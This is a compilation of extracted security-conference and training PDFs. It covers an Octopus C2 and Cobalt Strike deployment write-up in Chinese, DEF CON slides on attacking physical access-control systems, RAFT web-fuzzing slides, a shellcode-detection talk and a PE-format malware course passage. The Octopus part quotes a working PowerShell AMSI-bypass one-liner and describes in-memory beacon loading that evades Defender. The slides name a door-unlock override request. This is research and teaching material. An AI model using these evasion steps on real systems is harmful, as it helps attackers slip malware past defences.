的⾃动加载新的配置⽂件,具体场景发现已经有⼈做了实验,可以参考:https://xz.aliyun.com/t/7351 当然,可能在绝⼤多数情况下这些⽅式都是没⽤的,但是,请尽情的发挥你的想象,思考可能的攻击场景吧 https://github.com/apache/logging-log4j2/pull/608 https://activemq.apache.org/how-do-i-use-log4j-jms-appender-with-activemq https://logbackcn.gitbook.io/logback/04-di-si-zhang-appenders 004 写在最后 005 参考
pdf
Octopus v1.0 stable: Cobalt Strike deployment 原文: https://shells.systems/octopus-v1-0-stable-cobalt-strike-deployment-much-more/ 使用教程: https://shells.systems/unveiling-octopus-the-pre-operation-c2-for-red-teamers/ stable版本发布: https://github.com/mhaskar/Octopus/releases/tag/v1.0 一.Intorduction 很早之前就是用过Octopus beta v1.0版本,当时是听说它的免杀能力特别好。推荐说是吊打一切 AV。(当时完全不懂代码 原理什么的,当然现在还是不懂。)本文给大家带来Octopus与Cobalt Strike的 使用心得。 1.Octopus 特性 Octopus算是前置C2,并不像CS那样集成了后渗透所有的东西 比如端口扫描,横向渗透,代理等 2.更新日志 从Octopus直接部署Cobalt Strike Beacon DigiSpark payload生成 windows 7 自定义 oneliner 结果记录 通过配置文件自动杀死 新的绕过 AMSI 同时作者也讲了Octopus目前是基于命令行界面形式,未来发展计划增加一个Web GUI。个人觉得提炼 出每一个工具独有的特点,然后合理利用是最有效的,集成的框架类C2 CS已经很不错了。 3.修复的Bug python2.7 执行Octopus失败 加密错误处理 处理一些EOF议题 无效的监听器处理 二. New AMSI ByPass 一键部署 CS Octopus 将在当前PowerShell进程中禁用AMSI,然后加载Cobalt Strike beacon接下来直接运行 deploy_cobalt_beacon beacon.path 关于绕过AMSI研究参考: https://xz.aliyun.com/t/3095 If you don't know what's the amsi(AntiMalware Scan Interface),you could input "amsiutils" into powershell console,like this. AMSI(AntiMalware Scan Interface)基于字符串扫描接口,通常使用base64或者XOR进行编码,然后在 内存中解码绕过AMSI。(要检测编码后的字符串对于AMSI需要更高的抽象能力)通常来说还是比较有 效的。 OK,本文是研究Octopus的,powershell与AMSI的研究不在此范畴。 三. Auto_kill 简单来说就是你的C2被防火墙或者其他原因down掉了,Octopus将尝试重新连接到服务器,连接次数 为预设值在profile.py auto_kill=10 设置,超过连接次数自动杀死。 四.演示 satger VT查杀率 https://www.virustotal.com/gui/file/ae949e2a84485c8d4af87878fb058e43752744c1c8a3a8a8824 de6dccaf7c29c/detection disable_amsi 好像不起作用。 (下文会有呼应) deploy_cobalt_beacon 部署成功; 由于beacon.ps1本身含有恶意文件,不落地到目标磁盘上,通过进 程注入方式内存加载,目前测试 windows defenders还可以绕过。 关键词: memory patching 禁用 AMSI 相关细节参考: https://www.cyberark.com/resources/threat-research-blog/amsi-bypass-redux beacon监听器选择https,执行危险行为也不会拦截。 五.原理学习 其他的日志记录,屏幕截图,dll先暂时不涉及。 主程序 octopus.py; 配置程序 profile.py core/ 核心包括加密模块,函数模块等 module模块 包含了 ILBypass.ps1, ASBBypass.ps1. 通读octopus.py模块 主程序 循环监听等待输入命令,后面基本上都是模块如何使用,用法简介等 其实我最想看的是 deploy_cobalt_beacon以及disable_amsi如何实现的,在此之前呢,先来看看 profile.py配置模块 profile.py profile.py web listener配置, 服务器为nginx,当然作者还没开发出来web端。配置就相当于Octopus 的一个路由。 core核心模块 包含四个文件 encryption.py esa.py functions.py weblistener.py 1. 加密模块 (上线前奏) 默认Cotopus agents与C2 通信采用AES(256)加密 2. esa模块 (对抗艺术) 这个模块通过遍历AV列表以及 SIEM 检测sysmon。 SIEM参考: https://www.csoonline.com/article/2124604/what-is-siem-software-how-it-works-and-how-to-cho ose-the-right-tool.html 有很多EDR设备都会根据事件日志分析,Winlogbeat,splunk等 3.具体实现模块 (disable_amsi) 可以看到通过disable_amsi 禁用amsi然后load_beacon加载的。 通过内置的模块 ILBypass.ps1使用 encrypt_command函数来绕过AMSI。跟进去 说好的 disable_amsi呢??? 怪不得我直接使用 disable_amsi命令无法禁用amsi,一键部署beacon使用了加密ps1方式,这不是真 正意义上的disable_amsi。继续查看 ILBpass.ps1. (不是很懂ps代码) 乍一看 蒙蔽状态。详细请看参考第一个。 .Attempt to IEX Invoke-Mimikatz without taking care of AMSI, and it could be game over for your undetected campaign. Before attempting to load a script, it has now become commonplace to run the following AMSI bypass: 简单点说这就是bypass amsi的。文中也有一句话很诱人,难道你不想知道怎么充满魔法的命令是怎么 卸载AMSI钩子的? 4.ASBBypass.ps1 ps脚本语法有点类似C#,还好可以看懂一丢丢。 导入kernel32.dll,GetProcAddress 是定位DLL中导 出函数或者变量的地址 此处函数为IntPtr [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiI nitFailed','NonPublic,Static').SetValue($null,$true) 参考: https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddres s LoadLibrary() 在指定进程内加载dll,实现派生 deploy_cobalt_beacon功能 LoadLibrary can be used to load a library module into the address space of the process and return a handle that can be used in GetProcAddress to get the address of a DLL function. 参考: https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya VirtualProtect() 更改对调用进程的虚拟地址空间已经提交的页面区域的保护。 参考: https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect 最后再看 Load_beacon 通过使用 bypass amsi来实现派生cs会话(在当前进程内禁用amsi.)具体细节详见参考。 参考: 推荐指标 10:https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and- logging-evasion/
pdf
Let’s Get Physical Network Attacks Against Physical Security Systems Ricky “HeadlessZeke” Lawshae – Defcon24 – 2016 Intro Let's Get Physical 3 Intro Who am I? • Security Researcher at TippingPoint • IoT (drink!) hacking enthusiast • Occasional conference presenter • Used to install physical security systems for a living Who am I? • Security Researcher at TippingPoint • IoT (drink!) hacking enthusiast • Occasional conference presenter • Used to install physical security systems for a living Let's Get Physical 4 Intro Physical Security • Electronic or mechanical devices used for • Access control • Surveillance • Alarms • Card readers, door controls, video cameras, DVRs, motion sensors, fire alarms, tamper switches, etc etc etc Physical Security • Electronic or mechanical devices used for • Access control • Surveillance • Alarms • Card readers, door controls, video cameras, DVRs, motion sensors, fire alarms, tamper switches, etc etc etc Let's Get Physical 5 Intro Deployment • Used by basically every organization of any size • Piece by piece getting put on the network • Acknowledge alarms and watch cameras • Push schedule and access changes • Pull logs and reports • Physical is becoming digital...IoT (drink!) Deployment • Used by basically every organization of any size • Piece by piece getting put on the network • Acknowledge alarms and watch cameras • Push schedule and access changes • Pull logs and reports • Physical is becoming digital...IoT (drink!) Let's Get Physical 6 Intro Embedded devices… accessible via the network… protecting valuable assets… in every organization… ...Should be fine! Embedded devices… accessible via the network… protecting valuable assets… in every organization… ...Should be fine! Access Control Let's Get Physical 8 Access Control Overview • Locking mechanism • ID mechanism • Sensors • Management software • Monitoring • Access and schedule changes • Override lock states Overview • Locking mechanism • ID mechanism • Sensors • Management software • Monitoring • Access and schedule changes • Override lock states Let's Get Physical 9 Access Control Door Components • ID reader • Magstripe, RFID, biometric, pin pad • Request to Exit (REX) • Signal that unlocks door and prevents force alarm • Door contact • Magnet or switch that shows door state • Lock or strike • Releases to allow door to open • Door controller • Contains schedules and access rules Door Components • ID reader • Magstripe, RFID, biometric, pin pad • Request to Exit (REX) • Signal that unlocks door and prevents force alarm • Door contact • Magnet or switch that shows door state • Lock or strike • Releases to allow door to open • Door controller • Contains schedules and access rules Let's Get Physical 10 Access Control Let's Get Physical 11 Access Control Attack Vectors • ID reader • RFID spoofing, brute force, biometric forgery • REX • Trigger PIR sensor, pull inside handle • Management software • Vulnerable host, unsecured database • Door controller • Network-connected embedded device • Has complete control over all door functionality Attack Vectors • ID reader • RFID spoofing, brute force, biometric forgery • REX • Trigger PIR sensor, pull inside handle • Management software • Vulnerable host, unsecured database • Door controller • Network-connected embedded device • Has complete control over all door functionality Let's Get Physical 12 Access Control Door Controller Attacks • API exposure • Forge or replay remote unlock commands • Encryption? Authentication? • Physical Security Interoperability Alliance (PSIA) • Standard used by several manufacturers • Send HTTP PUT req to accessOverride URI with accessOverrideState set to ‘Unlatched’ • Should be authenticated...individual implementations may vary Door Controller Attacks • API exposure • Forge or replay remote unlock commands • Encryption? Authentication? • Physical Security Interoperability Alliance (PSIA) • Standard used by several manufacturers • Send HTTP PUT req to accessOverride URI with accessOverrideState set to ‘Unlatched’ • Should be authenticated...individual implementations may vary Let's Get Physical 13 Access Control Door Controller Attacks • Vulnerabilities in running services • Onboard mgmt portal • Default creds or auth bypass • Cmd injection • Old, unpatched services • Proprietary services • Great targets for fuzzing • Not as often or thoroughly audited Door Controller Attacks • Vulnerabilities in running services • Onboard mgmt portal • Default creds or auth bypass • Cmd injection • Old, unpatched services • Proprietary services • Great targets for fuzzing • Not as often or thoroughly audited Surveillance Let's Get Physical 15 Surveillance Overview • Video camera • Hard-wired or IP-based • DVR • Management/viewing software Overview • Video camera • Hard-wired or IP-based • DVR • Management/viewing software Let's Get Physical 16 Surveillance Attack Vectors • Management/viewing software • Same deal as before • DVR • Modify or delete recordings, DoS to prevent recording • Video camera • Disable or DoS camera • MitM video stream? Attack Vectors • Management/viewing software • Same deal as before • DVR • Modify or delete recordings, DoS to prevent recording • Video camera • Disable or DoS camera • MitM video stream? Let's Get Physical 17 Surveillance MitM Video Stream • RTP or MJPG • Usually UDP with no encryption • Intercept frame, modify, then send it on • Loop playback by capturing frames and reinjecting with modified timestamp/sequence number • Replace stream with fuzzy static or a single image • Use opencv to find and replace faces MitM Video Stream • RTP or MJPG • Usually UDP with no encryption • Intercept frame, modify, then send it on • Loop playback by capturing frames and reinjecting with modified timestamp/sequence number • Replace stream with fuzzy static or a single image • Use opencv to find and replace faces Alarms Let's Get Physical 19 Alarms Overview • Fire • Smoke/fire detectors • Alarm panel • Suppression system • Tamper sensors • Mainly simple switches and resistance measurement • Motion sensors • Lots of variety, but mostly PIR and some MW Overview • Fire • Smoke/fire detectors • Alarm panel • Suppression system • Tamper sensors • Mainly simple switches and resistance measurement • Motion sensors • Lots of variety, but mostly PIR and some MW Let's Get Physical 20 Alarms Attack Vectors • Fire • Use vuln panel as pivot point • Cause false positive as a distraction • Motion sensors • DoS the sensor to prevent reporting • Spoof any heartbeats Attack Vectors • Fire • Use vuln panel as pivot point • Cause false positive as a distraction • Motion sensors • DoS the sensor to prevent reporting • Spoof any heartbeats The Heist Let's Get Physical 22 The Heist video camera motion sensor reader and door controller Hope diamond CEO’s cc info What Can Be Done? Let's Get Physical 24 What Can Be Done? Defense • Network segmentation • VLANs and firewalls • Monitor networks for anomalous activity • Firmware updates • Clearly define who owns what • Manufacturers need to be more open • Think before you link • Do you really need an IoT (drink!) motion sensor? Defense • Network segmentation • VLANs and firewalls • Monitor networks for anomalous activity • Firmware updates • Clearly define who owns what • Manufacturers need to be more open • Think before you link • Do you really need an IoT (drink!) motion sensor? Let's Get Physical 25 What Can Be Done? Offense • Hack yourself • Audit devices before deploying • 3rd party resellers are a good resource for devices and firmware • Think before you link (yes, again) • If you can think like an attacker, they’ll be less likely to surprise you later Offense • Hack yourself • Audit devices before deploying • 3rd party resellers are a good resource for devices and firmware • Think before you link (yes, again) • If you can think like an attacker, they’ll be less likely to surprise you later Questions? [email protected] – twitter.com/HeadlessZeke
pdf
Smartfuzzing the Web Carpe Vestra Foramina Friday, June 24, 2011 Out of Date • This presentation is out of date. – Grab an updated copy from our Google Code Page • http://code.google.com/p/raft 2 Friday, June 24, 2011 Who are we? • Nathan "Nate Dawg" Hamiel • Gregory "G-Fresh" Fleischer • Seth "The Law" Law • Justin "J-Roc" Engler Friday, June 24, 2011 Presentation Overview • Problems with current tools • Current workarounds • Proposed solutions • RAFT Friday, June 24, 2011 Testing Tools Are Lacking • Semi-automated web testing tools can be pretty dumb o Pick your poison, each one falls down at some point o Session data stays stale o State maintenance sucks or non-existent o Can't handle things beyond simple applications o Don't allow the import of externally-collected data • What about modern technologies? o CSRF Tokens o Randomized DOM variables o RIA apps o Web services o JS/AJAX Friday, June 24, 2011 The Problems Continue • Typically no analysis is performed o Testing responses alone may contain a treasure trove of vulnerabilities that are not currently identified o Analysis only runs on current request, what about all the old data? o Just because HTTP is stateless, doesn't mean our analysis has to be. o No vulnerability or sensitive data identification • Testers don't need abstraction o APIs and difficult formats • Missing simple features o Request time Friday, June 24, 2011 And Continue Again • Difficult cases o Risk based logins o Login confirmation on next step o In-session detection Friday, June 24, 2011 And Continue Yet Again • External tools and custom scripts o Can be painful o No analysis o Request/response diffs o Syntax highlighting (duh)? o Full request/response logging • Data in multiple tools o No cross-tool analysis o Archiving problems with collected data o Limited ability to find "new" bugs in old data Friday, June 24, 2011 What Do People Do? • Test manually o First of all, Yuck! o Modify other tools for purposes which they weren't intended o Write custom tools and scripts for one-off purposes • Can end up missing quite a bit o Reinventing the wheel can be hard! o Typically one offs o No in-depth analysis o Even common vulnerabilities can slip through the cracks o Results are stored in custom formats in multiple files Friday, June 24, 2011 Adapt Or... • Some tools have to adapt or they become useless Friday, June 24, 2011 A Web Smart Fuzzer? Friday, June 24, 2011 A Web Smart Fuzzer • Session management o Without complex user interaction o Shared cookie jar • Sequence building and running o Login sequences o Multi-stepped operations o Grabbing data from previous page for request • Finding content to fuzz o Intelligent spidering and form submission o Content discovery based on contextual information • Support for modern features o HTML5 Friday, June 24, 2011 Web Smart Fuzzer Components • CSRF and other random data handling o Ability to handle CSRF tokens per page o Ability to handle randomized data on the DOM • Payload choices based on context awareness Friday, June 24, 2011 Web Smart Fuzzer Components • Tight integration of various components • Ability to easily experiment with new features Friday, June 24, 2011 RAFT Friday, June 24, 2011 RAFT • Response Analysis and Further Testing • RAFT is different o Not an inspection proxy o Focus on workflow o Analysis for your own tools and scripts o Import data from other tools • Open source (written in Python and QT) • Target Platforms o Windows XP / Windows 7 o Mac OS X 10.5 / 10.6 o Linux Ubuntu 10.4 LTS Friday, June 24, 2011 RAFT Dependencies • PyQT4 • QtWebKit • QScintilla • lxml • pyamf • pydns Friday, June 24, 2011 RAFT Download • Check out source from SVN • Download packages for o OS X o Windows • http://code.google.com/p/raft Friday, June 24, 2011 Analysis • Don't be caught without an analyzer Friday, June 24, 2011 Analysis • Analysis Anywhere! o Our concept for better tools o Any analysis on any data source o Analyzers fully integrated with other tools in RAFT • Modular Analyzers o New analyzers easy to add o Config, execution, and reporting all customizable o Analyzers can call each other • Find the stuff that others ignore o Timing analysis o Same request, different response (no no, this /never happens) o Possibilities are pretty much endless Friday, June 24, 2011 Smart testing components • Fuzzing, just smarter o Handling of CSRF tokens o Browser object handling o Sequence handling Friday, June 24, 2011 Documentation • Who needs documentation... really ;) o Available on the wiki of the project page Friday, June 24, 2011 RAFT Data Formatting • Other language integration o XML Capture Format o Python o Ruby o Perl o Java Friday, June 24, 2011 RAFT Future Features • More Analysis • Integrated Scanner Functionality • Reporting Output • Command Line Interface Friday, June 24, 2011 Call to Action • We need help! o Contribute with code o Test and report bugs o Provide integration with other tools • Future features o Request new features o Code new features yourself • Demand better tools from commercial vendors as well Friday, June 24, 2011 Questions? Friday, June 24, 2011 Contact Nathan Hamiel http://twitter.com/nathanhamiel Justin Engler http://twitter.com/justinengler Gregory Fleischer [email protected] twitter.com/%00<script>alert(0xL0L) Seth Law http://twitter.com/sethlaw Friday, June 24, 2011
pdf
Demorpheus: Getting Rid Of Polymorphic Shellcodes In Your Network Svetlana Gaivoronski, PhD Student, Moscow State University Dennis Gamayunov, Senior Researcher, Moscow State University Memory corruption, 0-days, shellcodes… Why should anyone care about shellcodes in 2012? CONS: • Old exploitation technique, too old for Web-2.0-and-Clouds- Everywhere-World (some would say…) • According to Microsoft’s 2011 stats*, user unawareness is #1 reason for malware propagaion, and 0-days are less than 1% • Endpoint security products deal with known malware quite well, why should we care about unkown?.. PROS: • Memory corruption is still there ;-) • Hey, Microsoft, we’re all excited with MS12-020 • Tools like Metasploit are widely used by pentesters and blackhat community • Targeted attacks of critical infrastructure - what about early detection? • Endpoint security is mostly signature-based, and does not help with 0-days • It’s fun! ;) * http://download.microsoft.com/download/0/3/3/0331766E-3FC4-44E5-B1CA- 2BDEB58211B8/Microsoft_Security_Intelligence_Report_volume_11_Zeroing_in_on_Malware_ Propagation_Methods_English.pdf1 CTF Madness • Teams write 0-days from scratch • Game traffic is full of exploits all the time • Detection of shellcode allows to get hints about your vulns and ways of exploitation… Team 1 Team 2 Team 3 Team 4 Team 5 Another POV: Privacy and Trust in Digital Era We share almost all aspects of our lives with digital devices (laptops, cellphones and so on) and Internet: • Bank accounts • Health records • Personal information Recent privacy issues with social networks and cloud providers: • LinkedIn passwords hashes leak • Foursquare vulns • What’s next?.. Maybe the risk of 0-days will fade away? • Modern software market for mobile and social applications is too competitive for developers to invest in security • Programmers work under pressure of time limitation; managers who prefer quantity and no quality, etc. Despite the fact of significant efforts to improve code quality, the number of vulnerabily disclosures continues to grow every year… Shellcode detection: what do we have Static analysis Dynamic analysis Hybrid analysis • Signature matching • Content-dependent • Behavioral (Hamsa[1], Polygraph[2]) • CFG\IFG analysis (SigFree[3]) • NOP-sled detection (RaceWalk[4] ) • APE [5] • Emulation ([6], [7]) • Automata analysis (IGPSA[8]) The problem: if we simply try to run all methods for each portion of data, it would be extremely slow Classifier1 Classifier2 Classifier3 ([9], PonyUnpack[10]) Virtues and shortcomings Static methods Dynamic methods ⁺ Complete code coverage (theoretically) ⁺ In most cases work faster than dynamic ⁺ More resistant to obfuscation techniques — The problem of metamorphic shellcode detection is undecidable — The problem of polymorphic shellcode detection is NP-complete — Require some overheads — Can consider only few control flow paths — There are still anti-dynamic analysis techniques And more: • Methods with low computation complexity have high FP rate • Methods with low FP have high computation complexity • They are also have problems with detection of new types of 0-day exploits None of them is applicable for real network channels in real-time Why shellcode detection is feasible at all As opposed to feature-rich viruses, shellcode has certain limitations in terms of size and structure Activator Decryptor Payload RA Proposed approach • Given the set of shellcode detection algorithms, why don’t we try to construct optimal data flow graph, so that: – the execution time and FP rate are optimized, – and the FN rate is not more than some given threshold Shellcode features Generic features Specific features Static Correct disassembly into chain at least K instruction Correct disassembly from each and every offset. (NOP) Number of push-call patterns exceeds threshold Conditional jumps to the lower address offset. (Encrypted shellcode) Overall shellcode size does not exceed threshold Ret address lies within certain range of values. (non- ASLR systems) Operands of self-modifying and indirect jmp are initialized MEL exceeds threshold. (NOP) Cleared IFG contains chain with more than N instructions Presence of GetPC. (Encrypted shellcode) Last instruction in the chain ends with branch instruction with immediate or absolute addressing targeting lib call or valid interruption. (non-ASLR systems) Dynamic Number of near reads within payload exceed threshold R Control at least once transferred from executed payload to previously written address. (non-self-contained shellcode) Number of unique writes to different memory location exceeds threshold W Execution of wx-instruction exceeds threshold X (non- self-contained shellcode) Shellcode classes SH= {𝑙1, … , 𝑙𝑛𝑠 }- set of shellcode features, 𝐵𝐸𝑁 = {𝑙1, … , 𝑙𝑛𝑏} - set of benign code features. Shellcode space S is splitted for K classes with respect to identified shellcode features. Shellcode class 𝐾1 Shellcode class 𝐾2 Shellcode class 𝐾𝑁 𝑙1 𝑙2 𝑙𝑛𝑠 𝑙1 𝑙2 𝑙𝑛𝑏 … … Shellcode classes. Example 𝑲𝑵𝑵𝑵𝟑 (contains multi-byte NOP- equivalent sled) 𝑲𝑺𝑪 (self-ciphered) • Correct disassembly from each and every byte offset • Multi-byte instructions Specific features • Correct disassembly into chain of at least K instructions • Overall size does not exceed certain threshold • … Common features • Conditional jmps to the lower address offsets • … Specific features NOTE: none of existing shellcode detection metods provides complete coverage of identified classes • Totally we identified 19 classes Demorpheus: shellcode detection library and tool disassembling Reconstruction of CFG Reconstruction of IFG whatever else Disassembled flow CFG structure IFG structure … Detector of feature #1 Detector of feature #N … Common basic steps Elementary classifiers Hybrid shellcode detector Topology example Example of flow reducing Building hybrid classifier G G G DMM G G Resulting graph: Round 1 Round 2 … Round N Evaluation: base line One of the important goals - minimization of false positives rate Hybrid topology 𝜇1 𝐾1, 𝐾2 𝜇2 𝐾4 𝜇3 𝐾4 𝜇4 𝐾2 𝜇5 𝐾4, 𝐾5 𝜇6 𝐾3, 𝐾5 𝜇7 𝐾3 𝜇8 𝐾5 Decision-making module Data flow Linear topology • Minimum false positives rate • No flow reducing Experimental results: numbers Data set Linear Hybrid FN, *100% FP, *100% Throughput, Mb\sec FN, *100% FP, *100% Throughput, Mb\sec Exploits 0.2 n/a 0.069 0.2 n/a 0.11 Benign binaries n/a 0.0064 0.15 n/a 0.019 2.36 Random data n/a 0 0.11 n/a 0 3.7 Multimedia n/a 0.005 0.08 n/a 0.04 3.62 Experimental results: plots A couple of use-cases for hybrid classifier • 0-days exploits detection and filtering at network level • CTF participation experience: – could help to increase defense level of team – could help to gather ideas from other teams Demonstration here Conclusion • Good news everyone! • Shellcodes may be now detected up to 45 times faster than before • You could download the Demorpheus source code from [email protected]:demorpheus/demorpheus.git and integrate it with your own tool Authors • Svetlana Gaivoronski – E-mail: [email protected] – Skype: svetik.sh – GPG key: 0x38428E3B 16A2 2F9D 5930 7885 F9E5 9DA5 09ED D515 3842 8E3B • Dennis Gamayunov – E-mail: [email protected] – Skype: jama.dharma – GPG key: 0xA642FA98 14E1 C637 4AEC BF0D 0572 D041 0622 7663 A642 FA98 References 1. Zhichun Li, Manan Sanghi, Yan Chen, Ming yang Kao, and Brian Chavez. Hamsa: fast signature generation for zero-day polymorphic worms with provable attack resilience. In S&P06: Proceedings of the 2006 IEEE Symposium on Security and Privacy, pages 32-47. IEEE Computer Society, 2006. 2. James Newsome. Polygraph: Automatically generating signatures for polymorphic worms. In Proceedings of the IEEE Symposium on Security and Privacy, pages 226-241, 2005. 3. Xinran Wang, Chi-Chun Pan, Peng Liu, and Sencun Zhu. Sigfree: A signature-free buffer overflow attack blocker. IEEE Transactions On Dependable And Secure Computing, 7(1):65-79, 2010. 4. Dennis Gamayunov, Nguyen Thoi Minh Quan, Fedor Sakharov, and Edward Toroshchin. Racewalk: Fast instruction frequency analysis and classiffication for shellcode detection in network flow. In Proceedings of the 2009 European Conference on Computer Network Defense, EC2ND '09, pages 4-12, Washington, DC, USA, 2009. IEEE Computer Society. 5. Thomas Toth and Christopher Kruegel. Accurate buffer overflow detection via abstract payload execution. In In RAID, pages 274-291, 2002. 6. Michalis Polychronakis, Kostas G. Anagnostakis, and Evangelos P. Markatos. Network-level polymorphic shellcode detection using emulation. In In Proceedings of the GI/IEEE SIG SIDAR Conference on Detection of Intrusions and Malware and Vulnerability Assessment (DIMVA), pages 54-73, 2006. 7. Michalis Polychronakis, Kostas G. Anagnostakis, and Evangelos P. Markatos. Emulation-based detection of non-self- contained polymorphic shellcode. 8. Lanjia Wang, Hai-Xin Duan, and Xing Li. Dynamic emulation based modeling and detection of polymorphic shellcode at the network level. Science in China Series F: Information Sciences, 51(11):1883-1897, 2008. 9. Qinghua Zhang, Douglas S. Reeves, Peng Ning, and S. Purushothaman. Analyzing network traffic to detect self-decrypting exploit code. In In Proceedings of the ACM Symposium on Information, Computer and Communications Security (ASIACCS), 2007. 10. Paul Royal, Mitch Halpin, David Dagon, Robert Edmonds, and Wenke Lee. Polyunpack: Automating the hidden-code extraction of unpack-executing malware. In Proceedings of the 22nd Annual Computer Security Applications Conference, pages 289-300, Washington, DC, USA, 2006. IEEE Computer Society.
pdf
Module 1 A journey from high level languages, through assembly, to the running process https://github.com/hasherezade/malware_training_vol1 Basics of PE (Portable Executable) Basics of a PE file • PE (Portable Executable) is a native executable format on Windows • PE files: • user mode: EXE, DLL • kernel mode: driver (.sys), kernel image (ntoskrnl.exe) • UEFI (run in SMM – System Managemant Mode) • Also OBJ files have structures similar to PE Basics of a PE file •PE (Portable Executable) contains information: • What to execute: the compiled code • How to execute: headers with data necessary for loading it remcos.exe Basics of a PE file • PE format is based on a Unix format COFF – that was used in VAX/VMS • It was introduced as a part of specification Win32 • Throughout many years, the core of the format didn’t change, only some new fields of some structures have been added • Since introduction of 64 bit environment, PE needed to be adjusted to it: 64 bit PE was introduced • Also, new variants have been introduced, like .NET PE – containing additional structures with intermediate code and metadata Basics of a PE file •PE file structure: the DOS part (legacy) and the Windows Part https://github.com/hasherezade/malware_training_vol1/blob/main/exercises/module1/lesson2_pe/pe_snippets/pe_hdr.h Basics of a PE file •DOS Header: only e_magic, and e_lfnew must be filled: typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header WORD e_magic; // Magic number -------------------------------------------> ‚MZ” WORD e_cblp; // Bytes on last page of file WORD e_cp; // Pages in file WORD e_crlc; // Relocations WORD e_cparhdr; // Size of header in paragraphs WORD e_minalloc; // Minimum extra paragraphs needed WORD e_maxalloc; // Maximum extra paragraphs needed WORD e_ss; // Initial (relative) SS value WORD e_sp; // Initial SP value WORD e_csum; // Checksum WORD e_ip; // Initial IP value WORD e_cs; // Initial (relative) CS value WORD e_lfarlc; // File address of relocation table WORD e_ovno; // Overlay number WORD e_res[4]; // Reserved words WORD e_oemid; // OEM identifier (for e_oeminfo) WORD e_oeminfo; // OEM information; e_oemid specific WORD e_res2[10]; // Reserved words LONG e_lfanew; // File address of new exe header --------> Points to the NT header } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; https://github.com/hasherezade/malware_training_vol1/blob/main/exercises/module1/lesson2_pe/pe_snippets/pe_hdr.h Basics of a PE file • DOS Header: fields to remember typedef struct _IMAGE_DOS_HEADER { WORD e_magic; // Magic number  „MZ” ... LONG e_lfanew; // points to NT header } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; https://github.com/hasherezade/malware_training_vol1/blob/main/exercises/module1/lesson2_pe/pe_snippets/pe_hdr.h typedef struct _IMAGE_NT_HEADERS32/64 { DWORD Signature;  Magic number „PE\0\0” IMAGE_FILE_HEADER FileHeader; IMAGE_OPTIONAL_HEADER32/64 OptionalHeader; } IMAGE_NT_HEADERS64; Let’s have a look in PE-bear... Basics of a PE file • FileHeader: fields to remember typedef struct _IMAGE_FILE_HEADER { WORD Machine; // Specifies the architecture WORD NumberOfSections; // How many sections? DWORD TimeDateStamp; DWORD PointerToSymbolTable; DWORD NumberOfSymbols; WORD SizeOfOptionalHeader; WORD Characteristics; } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; https://github.com/hasherezade/malware_training_vol1/blob/main/exercises/module1/lesson2_pe/pe_snippets/pe_hdr.h typedef struct _IMAGE_NT_HEADERS32/64 { DWORD Signature;  „PE\0\0” IMAGE_FILE_HEADER FileHeader; IMAGE_OPTIONAL_HEADER32/64 OptionalHeader; } IMAGE_NT_HEADERS64; Let’s have a look in PE-bear... Basics of a PE file • OptionalHeader: fields to remember typedef struct _IMAGE_OPTIONAL_HEADER64 { WORD Magic; // type: NT32 ? NT64? BYTE MajorLinkerVersion; BYTE MinorLinkerVersion; DWORD SizeOfCode; DWORD SizeOfInitializedData; DWORD SizeOfUninitializedData; DWORD AddressOfEntryPoint; // where the execution starts? DWORD BaseOfCode; ULONGLONG ImageBase; //default load base DWORD SectionAlignment; //unit in memory DWORD FileAlignment; //unit on disk WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion; WORD MajorImageVersion; WORD MinorImageVersion; WORD MajorSubsystemVersion; WORD MinorSubsystemVersion; DWORD Win32VersionValue; DWORD SizeOfImage; //size of the loaded PE DWORD SizeOfHeaders; //size of all the headers to map DWORD CheckSum; WORD Subsystem; // is it a console app? a driver? etc. WORD DllCharacteristics; // features enabled ULONGLONG SizeOfStackReserve; ULONGLONG SizeOfStackCommit; ULONGLONG SizeOfHeapReserve; ULONGLONG SizeOfHeapCommit; DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[DIRECTORY_ENTRIES_NUM]; } IMAGE_OPTIONAL_HEADER64; https://github.com/hasherezade/malware_training_vol1/blob/main/exercises/module1/lesson2_pe/pe_snippets/pe_hdr.h typedef struct _IMAGE_NT_HEADERS32/64 { DWORD Signature;  „PE\0\0” IMAGE_FILE_HEADER FileHeader; IMAGE_OPTIONAL_HEADER32/64 OptionalHeader; } IMAGE_NT_HEADERS64; Let’s have a look in PE-bear... Basics of a PE file: sections • PE is divided into sections with different permissions • Sections introduce a logical layout of the binary, that compilers/linkers can follow • Dividing PE on section improves security: the code is isolated from the data • HOWEVER: • if DEP (Data Execution Prevention) is disabled, a page without execution permission can still be executed Basics of a PE file: sections •PE sections are defined by sections header https://github.com/hasherezade/malware_training_vol1/blob/main/exercises/module1/lesson2_pe/pe_snippets/remap.h #define IMAGE_FIRST_SECTION( ntheader ) ((PIMAGE_SECTION_HEADER) \ ((ULONG_PTR)(ntheader) + \ FIELD_OFFSET( IMAGE_NT_HEADERS, OptionalHeader ) + \ ((ntheader))->FileHeader.SizeOfOptionalHeader \ )) A macro in winnt.h pointing the first section Basics of a PE file: sections • on the disk PE is stored in a raw format (the unit is defined by File Alignment) • In memory PE is mapped to its virtual format (the unit is defined by Section Alignment) – usually of the granularity of one page (0x1000) Basics of a PE file: sections https://github.com/hasherezade/malware_training_vol1/blob/main/exercises/module1/lesson2_pe/pe_snippets/remap.h Raw (file on the disk) Virtual (mapped in the process memory) Basics of a PE file: caves • The space reserved for a section is always rounded up to some unit (FileAlignment in a raw format, SectionAlignment in virtual) • The size of the actual section content may be smaller • The additional space is unused, and filled with padding. It is called a section cave. A cave in an executable section is often referenced as code cave. • Caves may be virtual or raw • Sometimes they may be used for installing code implants Basics of a PE file: addresses • Raw addresses (in file) usually correspond to virtual addresses (in memory) and vice versa Raw 0x400 = RVA 0x1000 RVA 0x2000 = raw 0x600 RVA 0x5015 = raw 0xC15 • RVA : Relative Virtual Address (without Image Base) • VA: absolute Virtual Address (with Image Base) Basics of a PE file: addresses • Raw addresses (in file) usually correspond to virtual addresses (in 